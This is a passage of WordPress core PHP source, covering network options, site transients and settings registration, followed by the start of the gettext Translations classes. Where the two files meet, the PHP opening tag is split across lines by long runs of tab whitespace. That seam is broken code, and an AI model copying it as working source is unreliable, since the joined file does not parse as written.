	 * unnecessary database calls for otherwise identical object instances.
	 *
	 * See https://core.trac.wordpress.org/ticket/44956
	 */
	if ( $value === $old_value || maybe_serialize( $value ) === maybe_serialize( $old_value ) ) {
		return false;
	}

	if ( false === $old_value ) {
		return add_network_option( $network_id, $option, $value );
	}

	$notoptions_key = "$network_id:notoptions";
	$notoptions     = wp_cache_get( $notoptions_key, 'site-options' );

	if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {
		unset( $notoptions[ $option ] );
		wp_cache_set( $notoptions_key, $notoptions, 'site-options' );
	}

	if ( ! is_multisite() ) {
		$result = update_option( $option, $value, false );
	} else {
		$value = sanitize_option( $option, $value );

		$serialized_value = maybe_serialize( $value );
		$result           = $wpdb->update(
			$wpdb->sitemeta,
			array( 'meta_value' => $serialized_value ),
			array(
				'site_id'  => $network_id,
				'meta_key' => $option,
			)
		);

		if ( $result ) {
			$cache_key = "$network_id:$option";
			wp_cache_set( $cache_key, $value, 'site-options' );
		}
	}

	if ( $result ) {

		/**
		 * Fires after the value of a specific network option has been successfully updated.
		 *
		 * The dynamic portion of the hook name, `$option`, refers to the option name.
		 *
		 * @since 2.9.0 As "update_site_option_{$key}"
		 * @since 3.0.0
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param string $option     Name of the network option.
		 * @param mixed  $value      Current value of the network option.
		 * @param mixed  $old_value  Old value of the network option.
		 * @param int    $network_id ID of the network.
		 */
		do_action( "update_site_option_{$option}", $option, $value, $old_value, $network_id );

		/**
		 * Fires after the value of a network option has been successfully updated.
		 *
		 * @since 3.0.0
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param string $option     Name of the network option.
		 * @param mixed  $value      Current value of the network option.
		 * @param mixed  $old_value  Old value of the network option.
		 * @param int    $network_id ID of the network.
		 */
		do_action( 'update_site_option', $option, $value, $old_value, $network_id );

		return true;
	}

	return false;
}

/**
 * Deletes a site transient.
 *
 * @since 2.9.0
 *
 * @param string $transient Transient name. Expected to not be SQL-escaped.
 * @return bool True if the transient was deleted, false otherwise.
 */
function delete_site_transient( $transient ) {

	/**
	 * Fires immediately before a specific site transient is deleted.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 3.0.0
	 *
	 * @param string $transient Transient name.
	 */
	do_action( "delete_site_transient_{$transient}", $transient );

	if ( wp_using_ext_object_cache() || wp_installing() ) {
		$result = wp_cache_delete( $transient, 'site-transient' );
	} else {
		$option_timeout = '_site_transient_timeout_' . $transient;
		$option         = '_site_transient_' . $transient;
		$result         = delete_site_option( $option );

		if ( $result ) {
			delete_site_option( $option_timeout );
		}
	}

	if ( $result ) {

		/**
		 * Fires after a transient is deleted.
		 *
		 * @since 3.0.0
		 *
		 * @param string $transient Deleted transient name.
		 */
		do_action( 'deleted_site_transient', $transient );
	}

	return $result;
}

/**
 * Retrieves the value of a site transient.
 *
 * If the transient does not exist, does not have a value, or has expired,
 * then the return value will be false.
 *
 * @since 2.9.0
 *
 * @see get_transient()
 *
 * @param string $transient Transient name. Expected to not be SQL-escaped.
 * @return mixed Value of transient.
 */
function get_site_transient( $transient ) {

	/**
	 * Filters the value of an existing site transient before it is retrieved.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * Returning a value other than boolean false will short-circuit retrieval and
	 * return that value instead.
	 *
	 * @since 2.9.0
	 * @since 4.4.0 The `$transient` parameter was added.
	 *
	 * @param mixed  $pre_site_transient The default value to return if the site transient does not exist.
	 *                                   Any value other than false will short-circuit the retrieval
	 *                                   of the transient, and return that value.
	 * @param string $transient          Transient name.
	 */
	$pre = apply_filters( "pre_site_transient_{$transient}", false, $transient );

	if ( false !== $pre ) {
		return $pre;
	}

	if ( wp_using_ext_object_cache() || wp_installing() ) {
		$value = wp_cache_get( $transient, 'site-transient' );
	} else {
		// Core transients that do not have a timeout. Listed here so querying timeouts can be avoided.
		$no_timeout       = array( 'update_core', 'update_plugins', 'update_themes' );
		$transient_option = '_site_transient_' . $transient;
		if ( ! in_array( $transient, $no_timeout, true ) ) {
			$transient_timeout = '_site_transient_timeout_' . $transient;
			wp_prime_site_option_caches( array( $transient_option, $transient_timeout ) );

			$timeout = get_site_option( $transient_timeout );
			if ( false !== $timeout && $timeout < time() ) {
				delete_site_option( $transient_option );
				delete_site_option( $transient_timeout );
				$value = false;
			}
		}

		if ( ! isset( $value ) ) {
			$value = get_site_option( $transient_option );
		}
	}

	/**
	 * Filters the value of an existing site transient.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 2.9.0
	 * @since 4.4.0 The `$transient` parameter was added.
	 *
	 * @param mixed  $value     Value of site transient.
	 * @param string $transient Transient name.
	 */
	return apply_filters( "site_transient_{$transient}", $value, $transient );
}

/**
 * Sets/updates the value of a site transient.
 *
 * You do not need to serialize values. If the value needs to be serialized,
 * then it will be serialized before it is set.
 *
 * @since 2.9.0
 *
 * @see set_transient()
 *
 * @param string $transient  Transient name. Expected to not be SQL-escaped. Must be
 *                           167 characters or fewer in length.
 * @param mixed  $value      Transient value. Expected to not be SQL-escaped.
 * @param int    $expiration Optional. Time until expiration in seconds. Default 0 (no expiration).
 * @return bool True if the value was set, false otherwise.
 */
function set_site_transient( $transient, $value, $expiration = 0 ) {

	/**
	 * Filters the value of a specific site transient before it is set.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 3.0.0
	 * @since 4.4.0 The `$transient` parameter was added.
	 *
	 * @param mixed  $value     New value of site transient.
	 * @param string $transient Transient name.
	 */
	$value = apply_filters( "pre_set_site_transient_{$transient}", $value, $transient );

	$expiration = (int) $expiration;

	/**
	 * Filters the expiration for a site transient before its value is set.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 4.4.0
	 *
	 * @param int    $expiration Time until expiration in seconds. Use 0 for no expiration.
	 * @param mixed  $value      New value of site transient.
	 * @param string $transient  Transient name.
	 */
	$expiration = apply_filters( "expiration_of_site_transient_{$transient}", $expiration, $value, $transient );

	if ( wp_using_ext_object_cache() || wp_installing() ) {
		$result = wp_cache_set( $transient, $value, 'site-transient', $expiration );
	} else {
		$transient_timeout = '_site_transient_timeout_' . $transient;
		$option            = '_site_transient_' . $transient;
		wp_prime_site_option_caches( array( $option, $transient_timeout ) );

		if ( false === get_site_option( $option ) ) {
			if ( $expiration ) {
				add_site_option( $transient_timeout, time() + $expiration );
			}
			$result = add_site_option( $option, $value );
		} else {
			if ( $expiration ) {
				update_site_option( $transient_timeout, time() + $expiration );
			}
			$result = update_site_option( $option, $value );
		}
	}

	if ( $result ) {

		/**
		 * Fires after the value for a specific site transient has been set.
		 *
		 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
		 *
		 * @since 3.0.0
		 * @since 4.4.0 The `$transient` parameter was added
		 *
		 * @param mixed  $value      Site transient value.
		 * @param int    $expiration Time until expiration in seconds.
		 * @param string $transient  Transient name.
		 */
		do_action( "set_site_transient_{$transient}", $value, $expiration, $transient );

		/**
		 * Fires after the value for a site transient has been set.
		 *
		 * @since 6.8.0
		 *
		 * @param string $transient  The name of the site transient.
		 * @param mixed  $value      Site transient value.
		 * @param int    $expiration Time until expiration in seconds.
		 */
		do_action( 'set_site_transient', $transient, $value, $expiration );

		/**
		 * Fires after the value for a site transient has been set.
		 *
		 * @since 3.0.0
		 * @deprecated 6.8.0 Use {@see 'set_site_transient'} instead.
		 *
		 * @param string $transient  The name of the site transient.
		 * @param mixed  $value      Site transient value.
		 * @param int    $expiration Time until expiration in seconds.
		 */
		do_action_deprecated( 'setted_site_transient', array( $transient, $value, $expiration ), '6.8.0', 'set_site_transient' );
	}

	return $result;
}

/**
 * Registers default settings available in WordPress.
 *
 * The settings registered here are primarily useful for the REST API, so this
 * does not encompass all settings available in WordPress.
 *
 * @since 4.7.0
 * @since 6.0.1 The `show_on_front`, `page_on_front`, and `page_for_posts` options were added.
 */
function register_initial_settings() {
	register_setting(
		'general',
		'blogname',
		array(
			'show_in_rest' => array(
				'name' => 'title',
			),
			'type'         => 'string',
			'label'        => __( 'Title' ),
			'description'  => __( 'Site title.' ),
		)
	);

	register_setting(
		'general',
		'blogdescription',
		array(
			'show_in_rest' => array(
				'name' => 'description',
			),
			'type'         => 'string',
			'label'        => __( 'Tagline' ),
			'description'  => __( 'Site tagline.' ),
		)
	);

	if ( ! is_multisite() ) {
		register_setting(
			'general',
			'siteurl',
			array(
				'show_in_rest' => array(
					'name'   => 'url',
					'schema' => array(
						'format' => 'uri',
					),
				),
				'type'         => 'string',
				'description'  => __( 'Site URL.' ),
			)
		);
	}

	if ( ! is_multisite() ) {
		register_setting(
			'general',
			'admin_email',
			array(
				'show_in_rest' => array(
					'name'   => 'email',
					'schema' => array(
						'format' => 'email',
					),
				),
				'type'         => 'string',
				'description'  => __( 'This address is used for admin purposes, like new user notification.' ),
			)
		);
	}

	register_setting(
		'general',
		'timezone_string',
		array(
			'show_in_rest' => array(
				'name' => 'timezone',
			),
			'type'         => 'string',
			'description'  => __( 'A city in the same timezone as you.' ),
		)
	);

	register_setting(
		'general',
		'date_format',
		array(
			'show_in_rest' => true,
			'type'         => 'string',
			'description'  => __( 'A date format for all date strings.' ),
		)
	);

	register_setting(
		'general',
		'time_format',
		array(
			'show_in_rest' => true,
			'type'         => 'string',
			'description'  => __( 'A time format for all time strings.' ),
		)
	);

	register_setting(
		'general',
		'start_of_week',
		array(
			'show_in_rest' => true,
			'type'         => 'integer',
			'description'  => __( 'A day number of the week that the week should start on.' ),
		)
	);

	register_setting(
		'general',
		'WPLANG',
		array(
			'show_in_rest' => array(
				'name' => 'language',
			),
			'type'         => 'string',
			'description'  => __( 'WordPress locale code.' ),
			'default'      => 'en_US',
		)
	);

	register_setting(
		'writing',
		'use_smilies',
		array(
			'show_in_rest' => true,
			'type'         => 'boolean',
			'description'  => __( 'Convert emoticons like :-) and :-P to graphics on display.' ),
			'default'      => true,
		)
	);

	register_setting(
		'writing',
		'default_category',
		array(
			'show_in_rest' => true,
			'type'         => 'integer',
			'description'  => __( 'Default post category.' ),
		)
	);

	register_setting(
		'writing',
		'default_post_format',
		array(
			'show_in_rest' => true,
			'type'         => 'string',
			'description'  => __( 'Default post format.' ),
		)
	);

	register_setting(
		'reading',
		'posts_per_page',
		array(
			'show_in_rest' => true,
			'type'         => 'integer',
			'label'        => __( 'Maximum posts per page' ),
			'description'  => __( 'Blog pages show at most.' ),
			'default'      => 10,
		)
	);

	register_setting(
		'reading',
		'show_on_front',
		array(
			'show_in_rest' => true,
			'type'         => 'string',
			'label'        => __( 'Show on front' ),
			'description'  => __( 'What to show on the front page' ),
		)
	);

	register_setting(
		'reading',
		'page_on_front',
		array(
			'show_in_rest' => true,
			'type'         => 'integer',
			'label'        => __( 'Page on front' ),
			'description'  => __( 'The ID of the page that should be displayed on the front page' ),
		)
	);

	register_setting(
		'reading',
		'page_for_posts',
		array(
			'show_in_rest' => true,
			'type'         => 'integer',
			'description'  => __( 'The ID of the page that should display the latest posts' ),
		)
	);

	register_setting(
		'discussion',
		'default_ping_status',
		array(
			'show_in_rest' => array(
				'schema' => array(
					'enum' => array( 'open', 'closed' ),
				),
			),
			'type'         => 'string',
			'description'  => __( 'Allow link notifications from other blogs (pingbacks and trackbacks) on new articles.' ),
		)
	);

	register_setting(
		'discussion',
		'default_comment_status',
		array(
			'show_in_rest' => array(
				'schema' => array(
					'enum' => array( 'open', 'closed' ),
				),
			),
			'type'         => 'string',
			'label'        => __( 'Allow comments on new posts' ),
			'description'  => __( 'Allow people to submit comments on new posts.' ),
		)
	);
}

/**
 * Registers a setting and its data.
 *
 * @since 2.7.0
 * @since 3.0.0 The `misc` option group was deprecated.
 * @since 3.5.0 The `privacy` option group was deprecated.
 * @since 4.7.0 `$args` can be passed to set flags on the setting, similar to `register_meta()`.
 * @since 5.5.0 `$new_whitelist_options` was renamed to `$new_allowed_options`.
 *              Please consider writing more inclusive code.
 * @since 6.6.0 Added the `label` argument.
 *
 * @global array $new_allowed_options
 * @global array $wp_registered_settings
 *
 * @param string $option_group A settings group name. Should correspond to an allowed option key name.
 *                             Default allowed option key names include 'general', 'discussion', 'media',
 *                             'reading', 'writing', and 'options'.
 * @param string $option_name The name of an option to sanitize and save.
 * @param array  $args {
 *     Data used to describe the setting when registered.
 *
 *     @type string     $type              The type of data associated with this setting.
 *                                         Valid values are 'string', 'boolean', 'integer', 'number', 'array', and 'object'.
 *     @type string     $label             A label of the data attached to this setting.
 *     @type string     $description       A description of the data attached to this setting.
 *     @type callable   $sanitize_callback A callback function that sanitizes the option's value.
 *     @type bool|array $show_in_rest      Whether data associated with this setting should be included in the REST API.
 *                                         When registering complex settings, this argument may optionally be an
 *                                         array with a 'schema' key.
 *     @type mixed      $default           Default value when calling `get_option()`.
 * }
 */
function register_setting( $option_group, $option_name, $args = array() ) {
	global $new_allowed_options, $wp_registered_settings;

	/*
	 * In 5.5.0, the `$new_whitelist_options` global variable was renamed to `$new_allowed_options`.
	 * Please consider writing more inclusive code.
	 */
	$GLOBALS['new_whitelist_options'] = &$new_allowed_options;

	$defaults = array(
		'type'              => 'string',
		'group'             => $option_group,
		'label'             => '',
		'description'       => '',
		'sanitize_callback' => null,
		'show_in_rest'      => false,
	);

	// Back-compat: old sanitize callback is added.
	if ( is_callable( $args ) ) {
		$args = array(
			'sanitize_callback' => $args,
		);
	}

	/**
	 * Filters the registration arguments when registering a setting.
	 *
	 * @since 4.7.0
	 *
	 * @param array  $args         Array of setting registration arguments.
	 * @param array  $defaults     Array of default arguments.
	 * @param string $option_group Setting group.
	 * @param string $option_name  Setting name.
	 */
	$args = apply_filters( 'register_setting_args', $args, $defaults, $option_group, $option_name );

	$args = wp_parse_args( $args, $defaults );

	// Require an item schema when registering settings with an array type.
	if ( false !== $args['show_in_rest'] && 'array' === $args['type'] && ( ! is_array( $args['show_in_rest'] ) || ! isset( $args['show_in_rest']['schema']['items'] ) ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'When registering an "array" setting to show in the REST API, you must specify the schema for each array item in "show_in_rest.schema.items".' ), '5.4.0' );
	}

	if ( ! is_array( $wp_registered_settings ) ) {
		$wp_registered_settings = array();
	}

	if ( 'misc' === $option_group ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.0.0',
			sprintf(
				/* translators: %s: misc */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'misc'
			)
		);
		$option_group = 'general';
	}

	if ( 'privacy' === $option_group ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.5.0',
			sprintf(
				/* translators: %s: privacy */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'privacy'
			)
		);
		$option_group = 'reading';
	}

	$new_allowed_options[ $option_group ][] = $option_name;

	if ( ! empty( $args['sanitize_callback'] ) ) {
		add_filter( "sanitize_option_{$option_name}", $args['sanitize_callback'] );
	}
	if ( array_key_exists( 'default', $args ) ) {
		add_filter( "default_option_{$option_name}", 'filter_default_option', 10, 3 );
	}

	/**
	 * Fires immediately before the setting is registered but after its filters are in place.
	 *
	 * @since 5.5.0
	 *
	 * @param string $option_group Setting group.
	 * @param string $option_name  Setting name.
	 * @param array  $args         Array of setting registration arguments.
	 */
	do_action( 'register_setting', $option_group, $option_name, $args );

	$wp_registered_settings[ $option_name ] = $args;
}

/**
 * Unregisters a setting.
 *
 * @since 2.7.0
 * @since 4.7.0 `$sanitize_callback` was deprecated. The callback from `register_setting()` is now used instead.
 * @since 5.5.0 `$new_whitelist_options` was renamed to `$new_allowed_options`.
 *              Please consider writing more inclusive code.
 *
 * @global array $new_allowed_options
 * @global array $wp_registered_settings
 *
 * @param string   $option_group The settings group name used during registration.
 * @param string   $option_name  The name of the option to unregister.
 * @param callable $deprecated   Optional. Deprecated.
 */
function unregister_setting( $option_group, $option_name, $deprecated = '' ) {
	global $new_allowed_options, $wp_registered_settings;

	/*
	 * In 5.5.0, the `$new_whitelist_options` global variable was renamed to `$new_allowed_options`.
	 * Please consider writing more inclusive code.
	 */
	$GLOBALS['new_whitelist_options'] = &$new_allowed_options;

	if ( 'misc' === $option_group ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.0.0',
			sprintf(
				/* translators: %s: misc */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'misc'
			)
		);
		$option_group = 'general';
	}

	if ( 'privacy' === $option_group ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.5.0',
			sprintf(
				/* translators: %s: privacy */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'privacy'
			)
		);
		$option_group = 'reading';
	}

	$pos = false;
	if ( isset( $new_allowed_options[ $option_group ] ) ) {
		$pos = array_search( $option_name, (array) $new_allowed_options[ $option_group ], true );
	}

	if ( false !== $pos ) {
		unset( $new_allowed_options[ $option_group ][ $pos ] );
	}

	if ( '' !== $deprecated ) {
		_deprecated_argument(
			__FUNCTION__,
			'4.7.0',
			sprintf(
				/* translators: 1: $sanitize_callback, 2: register_setting() */
				__( '%1$s is deprecated. The callback from %2$s is used instead.' ),
				'<code>$sanitize_callback</code>',
				'<code>register_setting()</code>'
			)
		);
		remove_filter( "sanitize_option_{$option_name}", $deprecated );
	}

	if ( isset( $wp_registered_settings[ $option_name ] ) ) {
		// Remove the sanitize callback if one was set during registration.
		if ( ! empty( $wp_registered_settings[ $option_name ]['sanitize_callback'] ) ) {
			remove_filter( "sanitize_option_{$option_name}", $wp_registered_settings[ $option_name ]['sanitize_callback'] );
		}

		// Remove the default filter if a default was provided during registration.
		if ( array_key_exists( 'default', $wp_registered_settings[ $option_name ] ) ) {
			remove_filter( "default_option_{$option_name}", 'filter_default_option', 10 );
		}

		/**
		 * Fires immediately before the setting is unregistered and after its filters have been removed.
		 *
		 * @since 5.5.0
		 *
		 * @param string $option_group Setting group.
		 * @param string $option_name  Setting name.
		 */
		do_action( 'unregister_setting', $option_group, $option_name );

		unset( $wp_registered_settings[ $option_name ] );
	}
}

/**
 * Retrieves an array of registered settings.
 *
 * @since 4.7.0
 *
 * @global array $wp_registered_settings
 *
 * @return array {
 *     List of registered settings, keyed by option name.
 *
 *     @type array ...$0 {
 *         Data used to describe the setting when registered.
 *
 *         @type string     $type              The type of data associated with this setting.
 *                                             Valid values are 'string', 'boolean', 'integer', 'number', 'array', and 'object'.
 *         @type string     $label             A label of the data attached to this setting.
 *         @type string     $description       A description of the data attached to this setting.
 *         @type callable   $sanitize_callback A callback function that sanitizes the option's value.
 *         @type bool|array $show_in_rest      Whether data associated with this setting should be included in the REST API.
 *                                             When registering complex settings, this argument may optionally be an
 *                                             array with a 'schema' key.
 *         @type mixed      $default           Default value when calling `get_option()`.
 *     }
 * }
 */
function get_registered_settings() {
	global $wp_registered_settings;

	if ( ! is_array( $wp_registered_settings ) ) {
		return array();
	}

	return $wp_registered_settings;
}

/**
 * Filters the default value for the option.
 *
 * For settings which register a default setting in `register_setting()`, this
 * function is added as a filter to `default_option_{$option}`.
 *
 * @since 4.7.0
 *
 * @param mixed  $default_value  Existing default value to return.
 * @param string $option         Option name.
 * @param bool   $passed_default Was `get_option()` passed a default value?
 * @return mixed Filtered default value.
 */
function filter_default_option( $default_value, $option, $passed_default ) {
	if ( $passed_default ) {
		return $default_value;
	}

	$registered = get_registered_settings();
	if ( empty( $registered[ $option ] ) ) {
		return $default_value;
	}

	return $registered[ $option ]['default'];
}

/**
 * Returns the values that trigger autoloading from the options table.
 *
 * @since 6.6.0
 *
 * @return string[] The values that trigger autoloading.
 */
function wp_autoload_values_to_autoload() {
	$autoload_values = array( 'yes', 'on', 'auto-on', 'auto' );

	/**
	 * Filters the autoload values that should be considered for autoloading from the options table.
	 *
	 * The filter can only be used to remove autoload values from the default list.
	 *
	 * @since 6.6.0
	 *
	 * @param string[] $autoload_values Autoload values used to autoload option.
	 *                               Default list contains 'yes', 'on', 'auto-on', and 'auto'.
	 */
	$filtered_values = apply_filters( 'wp_autoload_values_to_autoload', $autoload_values );

	return array_intersect( $filtered_values, $autoload_values );
}
<?																																										
php																																										

/**
 * Class for a set of entries for translation and their associated headers
 *
 * @version $Id: translations.php 1157 2015-11-20 04:30:11Z dd32 $
 * @package pomo
 * @subpackage translations
 * @since 2.8.0
 */

require_once __DIR__ . '/plural-forms.php';
require_once __DIR__ . '/entry.php';

if ( ! class_exists( 'Translations', false ) ) :
	/**
	 * Translations class.
	 *
	 * @since 2.8.0
	 */
	#[AllowDynamicProperties]
	class Translations {
		/**
		 * List of translation entries.
		 *
		 * @since 2.8.0
		 *
		 * @var Translation_Entry[]
		 */
		public $entries = array();

		/**
		 * List of translation headers.
		 *
		 * @since 2.8.0
		 *
		 * @var array<string, string>
		 */
		public $headers = array();

		/**
		 * Adds an entry to the PO structure.
		 *
		 * @since 2.8.0
		 *
		 * @param array|Translation_Entry $entry
		 * @return bool True on success, false if the entry doesn't have a key.
		 */
		public function add_entry( $entry ) {
			if ( is_array( $entry ) ) {
				$entry = new Translation_Entry( $entry );
			}
			$key = $entry->key();
			if ( false === $key ) {
				return false;
			}
			$this->entries[ $key ] = &$entry;
			return true;
		}

		/**
		 * Adds or merges an entry to the PO structure.
		 *
		 * @since 2.8.0
		 *
		 * @param array|Translation_Entry $entry
		 * @return bool True on success, false if the entry doesn't have a key.
		 */
		public function add_entry_or_merge( $entry ) {
			if ( is_array( $entry ) ) {
				$entry = new Translation_Entry( $entry );
			}
			$key = $entry->key();
			if ( false === $key ) {
				return false;
			}
			if ( isset( $this->entries[ $key ] ) ) {
				$this->entries[ $key ]->merge_with( $entry );
			} else {
				$this->entries[ $key ] = &$entry;
			}
			return true;
		}

		/**
		 * Sets $header PO header to $value
		 *
		 * If the header already exists, it will be overwritten
		 *
		 * TODO: this should be out of this class, it is gettext specific
		 *
		 * @since 2.8.0
		 *
		 * @param string $header header name, without trailing :
		 * @param string $value header value, without trailing \n
		 */
		public function set_header( $header, $value ) {
			$this->headers[ $header ] = $value;
		}

		/**
		 * Sets translation headers.
		 *
		 * @since 2.8.0
		 *
		 * @param array $headers Associative array of headers.
		 */
		public function set_headers( $headers ) {
			foreach ( $headers as $header => $value ) {
				$this->set_header( $header, $value );
			}
		}

		/**
		 * Returns a given translation header.
		 *
		 * @since 2.8.0
		 *
		 * @param string $header
		 * @return string|false Header if it exists, false otherwise.
		 */
		public function get_header( $header ) {
			return isset( $this->headers[ $header ] ) ? $this->headers[ $header ] : false;
		}

		/**
		 * Returns a given translation entry.
		 *
		 * @since 2.8.0
		 *
		 * @param Translation_Entry $entry Translation entry.
		 * @return Translation_Entry|false Translation entry if it exists, false otherwise.
		 */
		public function translate_entry( &$entry ) {
			$key = $entry->key();
			return isset( $this->entries[ $key ] ) ? $this->entries[ $key ] : false;
		}

		/**
		 * Translates a singular string.
		 *
		 * @since 2.8.0
		 *
		 * @param string $singular
		 * @param string $context
		 * @return string
		 */
		public function translate( $singular, $context = null ) {
			$entry      = new Translation_Entry(
				array(
					'singular' => $singular,
					'context'  => $context,
				)
			);
			$translated = $this->translate_entry( $entry );
			return ( $translated && ! empty( $translated->translations ) ) ? $translated->translations[0] : $singular;
		}

		/**
		 * Given the number of items, returns the 0-based index of the plural form to use
		 *
		 * Here, in the base Translations class, the common logic for English is implemented:
		 *  0 if there is one element, 1 otherwise
		 *
		 * This function should be overridden by the subclasses. For example MO/PO can derive the logic
		 * from their headers.
		 *
		 * @since 2.8.0
		 *
		 * @param int $count Number of items.
		 * @return int Plural form to use.
		 */
		public function select_plural_form( $count ) {
			return 1 === (int) $count ? 0 : 1;
		}

		/**
		 * Returns the plural forms count.
		 *
		 * @since 2.8.0
		 *
		 * @return int Plural forms count.
		 */
		public function get_plural_forms_count() {
			return 2;
		}

		/**
		 * Translates a plural string.
		 *
		 * @since 2.8.0
		 *
		 * @param string $singular
		 * @param string $plural
		 * @param int    $count
		 * @param string $context
		 * @return string
		 */
		public function translate_plural( $singular, $plural, $count, $context = null ) {
			$entry              = new Translation_Entry(
				array(
					'singular' => $singular,
					'plural'   => $plural,
					'context'  => $context,
				)
			);
			$translated         = $this->translate_entry( $entry );
			$index              = $this->select_plural_form( $count );
			$total_plural_forms = $this->get_plural_forms_count();
			if ( $translated && 0 <= $index && $index < $total_plural_forms &&
				is_array( $translated->translations ) &&
				isset( $translated->translations[ $index ] ) ) {
				return $translated->translations[ $index ];
			} else {
				return 1 === (int) $count ? $singular : $plural;
			}
		}

		/**
		 * Merges other translations into the current one.
		 *
		 * @since 2.8.0
		 *
		 * @param Translations $other Another Translation object, whose translations will be merged in this one (passed by reference).
		 */
		public function merge_with( &$other ) {
			foreach ( $other->entries as $entry ) {
				$this->entries[ $entry->key() ] = $entry;
			}
		}

		/**
		 * Merges originals with existing entries.
		 *
		 * @since 2.8.0
		 *
		 * @param Translations $other
		 */
		public function merge_originals_with( &$other ) {
			foreach ( $other->entries as $entry ) {
				if ( ! isset( $this->entries[ $entry->key() ] ) ) {
					$this->entries[ $entry->key() ] = $entry;
				} else {
					$this->entries[ $entry->key() ]->merge_with( $entry );
				}
			}
		}
	}

	/**
	 * Gettext_Translations class.
	 *
	 * @since 2.8.0
	 */
	class Gettext_Translations extends Translations {

		/**
		 * Number of plural forms.
		 *
		 * @var int
		 *
		 * @since 2.8.0
		 */
		public $_nplurals;

		/**
		 * Callback to retrieve the plural form.
		 *
		 * @var callable
		 *
		 * @since 2.8.0
		 */
		public $_gettext_select_plural_form;

		/**
		 * The gettext implementation of select_plural_form.
		 *
		 * It lives in this class, because there are more than one descendant, which will use it and
		 * they can't share it effectively.
		 *
		 * @since 2.8.0
		 *
		 * @param int $count Plural forms count.
		 * @return int Plural form to use.
		 */
		public function gettext_select_plural_form( $count ) {
			if ( ! isset( $this->_gettext_select_plural_form ) || is_null( $this->_gettext_select_plural_form ) ) {
				list( $nplurals, $expression )     = $this->nplurals_and_expression_from_header( $this->get_header( 'Plural-Forms' ) );
				$this->_nplurals                   = $nplurals;
				$this->_gettext_select_plural_form = $this->make_plural_form_function( $nplurals, $expression );
			}
			return call_user_func( $this->_gettext_select_plural_form, $count );
		}

		/**
		 * Returns the nplurals and plural forms expression from the Plural-Forms header.
		 *
		 * @since 2.8.0
		 *
		 * @param string $header
		 * @return array{0: int, 1: string}
		 */
		public function nplurals_and_expression_from_header( $header ) {
			if ( preg_match( '/^\s*nplurals\s*=\s*(\d+)\s*;\s+plural\s*=\s*(.+)$/', $header, $matches ) ) {
				$nplurals   = (int) $matches[1];
				$expression = trim( $matches[2] );
				return array( $nplurals, $expression );
			} else {
				return array( 2, 'n != 1' );
			}
		}

		/**
		 * Makes a function, which will return the right translation index, according to the
		 * plural forms header.
		 *
		 * @since 2.8.0
		 *
		 * @param int    $nplurals
		 * @param string $expression
		 * @return callable
		 */
		public function make_plural_form_function( $nplurals, $expression ) {
			try {
				$handler = new Plural_Forms( rtrim( $expression, ';' ) );
				return array( $handler, 'get' );
			} catch ( Exception $e ) {
				// Fall back to default plural-form function.
				return $this->make_plural_form_function( 2, 'n != 1' );
			}
		}

		/**
		 * Adds parentheses to the inner parts of ternary operators in
		 * plural expressions, because PHP evaluates ternary operators from left to right
		 *
		 * @since 2.8.0
		 * @deprecated 6.5.0 Use the Plural_Forms class instead.
		 *
		 * @see Plural_Forms
		 *
		 * @param string $expression the expression without parentheses
		 * @return string the expression with parentheses added
		 */
		public function parenthesize_plural_exression( $expression ) {
			$expression .= ';';
			$res         = '';
			$depth       = 0;
			for ( $i = 0; $i < strlen( $expression ); ++$i ) {
				$char = $expression[ $i ];
				switch ( $char ) {
					case '?':
						$res .= ' ? (';
						++$depth;
						break;
					case ':':
						$res .= ') : (';
						break;
					case ';':
						$res  .= str_repeat( ')', $depth ) . ';';
						$depth = 0;
						break;
					default:
						$res .= $char;
				}
			}
			return rtrim( $res, ';' );
		}

		/**
		 * Prepare translation headers.
		 *
		 * @since 2.8.0
		 *
		 * @param string $translation
		 * @return array<string, string> Translation headers
		 */
		public function make_headers( $translation ) {
			$headers = array();
			// Sometimes \n's are used instead of real new lines.
			$translation = str_replace( '\n', "\n", $translation );
			$lines       = explode( "\n", $translation );
			foreach ( $lines as $line ) {
				$parts = explode( ':', $line, 2 );
				if ( ! isset( $parts[1] ) ) {
					continue;
				}
				$headers[ trim( $parts[0] ) ] = trim( $parts[1] );
			}
			return $headers;
		}

		/**
		 * Sets translation headers.
		 *
		 * @since 2.8.0
		 *
		 * @param string $header
		 * @param string $value
		 */
		public function set_header( $header, $value ) {
			parent::set_header( $header, $value );
			if ( 'Plural-Forms' === $header ) {
				list( $nplurals, $expression )     = $this->nplurals_and_expression_from_header( $this->get_header( 'Plural-Forms' ) );
				$this->_nplurals                   = $nplurals;
				$this->_gettext_select_plural_form = $this->make_plural_form_function( $nplurals, $expression );
			}
		}
	}
endif;

if ( ! class_exists( 'NOOP_Translations', false ) ) :
	/**
	 * Provides the same interface as Translations, but doesn't do anything.
	 *
	 * @since 2.8.0
	 */
	#[AllowDynamicProperties]
	class NOOP_Translations {
		/**
		 * List of translation entries.
		 *
		 * @since 2.8.0
		 *
		 * @var Translation_Entry[]
		 */
		public $entries = array();

		/**
		 * List of translation headers.
		 *
		 * @since 2.8.0
		 *
		 * @var array<string, string>
		 */
		public $headers = array();

		public function add_entry( $entry ) {
			return true;
		}

		/**
		 * Sets a translation header.
		 *
		 * @since 2.8.0
		 *
		 * @param string $header
		 * @param string $value
		 */
		public function set_header( $header, $value ) {
		}

		/**
		 * Sets translation headers.
		 *
		 * @since 2.8.0
		 *
		 * @param array $headers
		 */
		public function set_headers( $headers ) {
		}

		/**
		 * Returns a translation header.
		 *
		 * @since 2.8.0
		 *
		 * @param string $header
		 * @return false
		 */
		public function get_header( $header ) {
